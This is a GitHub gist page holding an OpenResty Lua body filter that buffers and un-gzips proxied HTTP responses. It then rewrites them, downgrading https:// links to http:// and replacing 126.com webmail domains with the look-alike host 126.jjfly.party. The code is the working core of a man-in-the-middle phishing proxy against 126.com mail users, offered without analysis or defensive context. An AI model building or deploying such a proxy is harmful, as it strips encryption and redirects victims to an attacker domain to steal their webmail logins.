Skip to content

Instantly share code, notes, and snippets.

@phith0n
Last active April 15, 2021 03:12
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save phith0n/4cd05857165cb2dc34db to your computer and use it in GitHub Desktop.
Save phith0n/4cd05857165cb2dc34db to your computer and use it in GitHub Desktop.
openresty-ungzip-packet
local zlib = require "zlib"
function decode(str)
if unexpected_condition then error() end
local stream = zlib.inflate()
local ret = stream(str)
return ret
end
function callback()
local str = ngx.arg[1]
str = string.gsub(str, "https://", "http://")
str = string.gsub(str, "mail.126.com", "126.jjfly.party")
str = string.gsub(str, '"126.com"', '"126.jjfly.party"')
str = string.gsub(str, "'126.com'", "'126.jjfly.party'")
ngx.arg[1] = str
end
function writefile(filename, info)
local file = io.open(filename,"ab")
file:write(info)
file:close()
end
function readfile(filename)
local file = io.open(filename, "rb")
local data = file:read("*all")
file:close()
return data
end
local token = getClientIp()..ngx.var.uri
local tmpfile = ngx.shared.tmpfile
local value, flags = tmpfile:get(token)
if not value then
value = "/tmp/"..randstr(8)
tmpfile:set(token, value)
end
if ngx.arg[1] ~= '' then
writefile(value, ngx.arg[1])
end
if ngx.arg[2] then
local body = readfile(value)
local status, debody = pcall(decode, body)
if status then
ngx.arg[1] = debody
end
os.remove(value)
callback()
return
else
ngx.arg[1] = nil
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment